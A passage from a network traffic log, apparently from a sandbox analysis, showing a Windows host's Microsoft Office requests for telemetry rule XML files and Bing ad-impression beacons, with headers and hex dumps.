2024-11-05 19:51:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:31 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 9f0c8f5e-f01e-0020-2b6b-2e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195131Z-158dbd74bf4sq2b7hC1SN1zzdg00000004cg0000000077ak x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:32 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49860	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:31 UTC	788	OUT	GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8l4hN_N0Wb8seVdwLNNPd1DVUCUwqj70qyHFI7P3OBCXEc7RtOB4JOfmvBBK6hEgWRzh_gDME28_SkQoGFt92786GHy36KQAqNtaNJVMiOpU0jvr3waDV5aYaI3XuRQf0yY-dRxO4xTPf4p3h-tprx3LAGgEKmJlZjB9iVpyG8nFeLX6R%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmd2luZG93cyUyZmNvcGlsb3QtcGx1cy1wY3MlM2ZvY2lkJTNkY21tcmI5dno5MXQlMjZmb3JtJTNkTTUwMDZY%26rlid%3D87d687d7864111e419e7e0fdf1662d55&TIME=20241105T195128Z&CID=531167623&EID=531167623&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: g.bing.com Connection: Keep-Alive
2024-11-05 19:51:32 UTC	864	IN	HTTP/1.1 204 No Content Cache-Control: no-cache, must-revalidate Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Set-Cookie: MUID=294D8EBF418C60A7155B9B9140A961F4; domain=.bing.com; expires=Sun, 30-Nov-2025 19:51:32 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=g.bing.com; expires=Tue, 12-Nov-2024 19:51:32 GMT; path=/; SameSite=None; Secure; Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 1026E4D2F33E4B579E9D588BF7AF981F Ref B: DFW311000108035 Ref C: 2024-11-05T19:51:32Z Date: Tue, 05 Nov 2024 19:51:31 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49862	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:32 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:32 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 62e6dde4-a01e-0084-0658-2e9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195132Z-157b9fd754fgw9r7hC1SN1124c00000005400000000003ga x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:32 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49863	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:32 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:32 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: cd73f999-901e-00a0-1f58-2e6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195132Z-157b9fd754fk82tlhC1SN1x7tg00000004wg000000006r0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:32 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49864	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:32 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:32 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: fda52046-a01e-001e-025c-2e49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195132Z-158dbd74bf4rjfxfhC1SN1a43800000004cg000000004fnq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:32 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49865	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:32 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:32 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:32 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: d410cc94-f01e-00aa-7c5c-2e8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195132Z-157b9fd754frph49hC1SN1dtxw0000000520000000002sd9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:32 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49866	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:32 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:32 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 434c0122-701e-006f-1553-2fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195132Z-158dbd74bf4hnrcphC1SN1f41800000004f000000000074q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:33 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49867	2.23.209.149	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:33 UTC	444	OUT	GET /aes/c.gif?RG=2e10317e67324bc88fa20f1e386a192d&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20241105T195128Z&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: www.bing.com Connection: Keep-Alive Cookie: MUID=294D8EBF418C60A7155B9B9140A961F4
2024-11-05 19:51:33 UTC	776	IN	HTTP/1.1 200 OK Cache-Control: private,no-store Pragma: no-cache Vary: Origin P3P: CP=BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 53440BF5BF0C4309ABAC97F4FFA525B3 Ref B: FRA31EDGE0407 Ref C: 2024-11-05T19:51:33Z Content-Length: 0 Date: Tue, 05 Nov 2024 19:51:33 GMT Connection: close Set-Cookie: _EDGE_S=SID=0F0E7A26D51B6519172F6F08D490642D; path=/; httponly; domain=bing.com Set-Cookie: MUIDB=294D8EBF418C60A7155B9B9140A961F4; path=/; httponly; expires=Sun, 30-Nov-2025 19:51:33 GMT Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.02d01702.1730836293.b1537ea

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49868	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:33 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:33 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 14bed983-701e-0050-735c-2e6767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195133Z-158dbd74bf4zb6hghC1SN1dd7n00000004kg000000000mt8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:33 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49869	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:33 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:33 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:33 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: e18da7de-b01e-001e-6e68-2e0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195133Z-158dbd74bf42s6brhC1SN1tbnn00000004eg0000000069ax x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:33 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49870	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:33 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:33 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 842041b9-201e-006e-6b60-2ebbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195133Z-157b9fd754fkww8mhC1SN1eg4000000004u0000000004rrd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:33 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49871	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:33 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:33 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 64080002-501e-005b-2755-2ed7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195133Z-157b9fd754f4s26nhC1SN1er5n00000004z00000000069ct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:33 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49872	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:33 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
